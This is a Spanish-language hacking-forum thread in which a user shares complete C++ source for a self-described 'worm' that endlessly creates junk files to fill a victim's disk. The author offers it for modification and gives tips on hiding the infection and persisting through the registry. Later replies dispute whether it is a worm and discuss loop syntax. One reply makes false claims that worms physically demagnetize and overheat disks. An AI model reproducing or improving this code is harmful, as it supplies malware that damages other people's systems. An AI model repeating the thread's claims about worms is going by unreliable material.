Autor
|
Tema: Worm básico en C++ (Leído 5,776 veces)
|
zikotik
Desconectado
Mensajes: 59
|
Hola gente, les dejo un pequeño código de un worm básico que hice hace un rato en C++. Modifíquenlo a su gusto, y cualquier duda, pregunten... Si usan linux, desactiven la librería windows.h y activen la librería unistd.h, en caso contrario, déjenlo como está. La variable mls, sirve para que después de cada loop, el worm espere x cantidad de milisegundos; 0 para desactivarlo o pongan otro valor. La variable txt, es para escribir en cada archivo que creará el worm. La variable blq, tiene el valor del nombre del archivo a crear. #include <fstream> #include <string.h> #include <stdlib.h> #include <windows.h> //#include <unistd.h> using namespace std; int main(){ int i = 1; int dat = 0; int mls = 125; char buf[35]; char txt[41] = "err[32030950ab769812b57c164cdab5138e]\n"; while(i != 0){ char blq[44] = "err."; strcat(blq,itoa(dat,buf,10)); ifstream arch (blq); if(!arch){ ofstream arch (blq); arch << txt; arch.close(); Sleep(mls); } else { arch.close(); } dat++; } }
|
|
|
En línea
|
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
¿Qué se supone que ha de hacer este código?
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
ivancea96
Desconectado
Mensajes: 3.412
ASMático
|
|
Re:
« Respuesta #2 en: 11 Enero 2014, 12:36 pm » |
|
Qué tiene que ver con un worm? Enviado desde mi ST21i mediante Tapatalk
|
|
|
En línea
|
|
|
|
zikotik
Desconectado
Mensajes: 59
|
Lo que hace este código es buscar un archivo basuro con el nombre "err" con el número de id dado por la variable "dat" (que en realidad sería la extensión del archivo pero en números), en cuyo caso no exista, lo crea. Una vez que crea el archivo, espera 125 milisegundos y comienza nuevamente el loop (en realidad se puede sacar el Sleep(), pero consumiría muchísima ram y la víctima se daría cuenta de que está infectada).
Si se borra algún archivo basura, al ser ejecutado nuevamente el worm (suponiendo que está agregado al registro), busca entre los archivos basura si hay algún faltante, en caso de ser así, lo reconstruye y continua buscando y escribiendo.
La idea principal es que ocupe espacio en alguna carpeta oculta del hdd sin afectar tanto a la ram.
Un ejemplo gráfico de su funcionamiento sería:
err.0 find err.1 find err.2 find err.3 find err.4 find err.5 not found err.5 made err.6 not found err.6 made
Tal funcionamiento es así para no perder tanto tiempo en la escritura de archivos. Perdés un poco de tiempo buscando los archivos no creados si es ejecutado nuevamente, pero el tiempo es mucho menos que al escribir cada uno de estos aunque ya existan.
|
|
|
En línea
|
|
|
|
dato000
Desconectado
Mensajes: 3.034
|
eso no es un gusano, solo crea archivos.
Un gusano llena directamente los datos del cluster sin respetar jerarquias, solo llena de mugre el disco dañando los sectores, los desmagnetiza, calienta y jode el circuito.
O si va con memoria lo que hace es reventar el head y resevar memoria como loco sin dejar al sistema operativo como seguir corriendo.
De todas maneras tanto linux como windows (desde win 7) ya saben como lidiar con eso y terminan la depuración cuando ve algún loop de ese estilo, y lo manda a un archivo de paginación (>win 7) o a la swap (linux) y lo limita de tal manera de que si llega a llenarse tal espacio, detiene el programa y deja de ensamblar el archivo, así de simple.
Pues tu intención es buena, y que bueno el entusiasmo, pero ese titulo es puro amarillismo.
|
|
|
En línea
|
|
|
|
ivancea96
Desconectado
Mensajes: 3.412
ASMático
|
La base de un worm, es multiplicarse y moverse por redes, entre otras. Eso que tienes ahí, yo lo calificaría como virus. Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD
|
|
|
En línea
|
|
|
|
zikotik
Desconectado
Mensajes: 59
|
La base de un worm, es multiplicarse y moverse por redes, entre otras. Eso que tienes ahí, yo lo calificaría como virus. Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD
Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma... Gracias por la data, y respecto a lo de la clasificación, tienen razón, no es un gusano, me puse a leer bien en wikipedia las diferencias entre los distintos tipos y malinterpreté.
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...
Tambien puedes usar While(True)Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
ivancea96
Desconectado
Mensajes: 3.412
ASMático
|
|
Re:
« Respuesta #8 en: 13 Enero 2014, 14:28 pm » |
|
En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)
Enviado desde mi ST21i mediante Tapatalk
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)
Boolean type
C99 added a boolean (true/false) type (_Bool) which is defined in the <stdbool.h> header. Additionally, the standard requires that macros are defined to alias the type as bool as well as providing macros for true and false.
Source: http://en.wikipedia.org/wiki/C_data_typesSaludos! PD: C11 es el standar hoy día, e incluye a C99: http://en.wikipedia.org/wiki/ANSI_C
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
|
|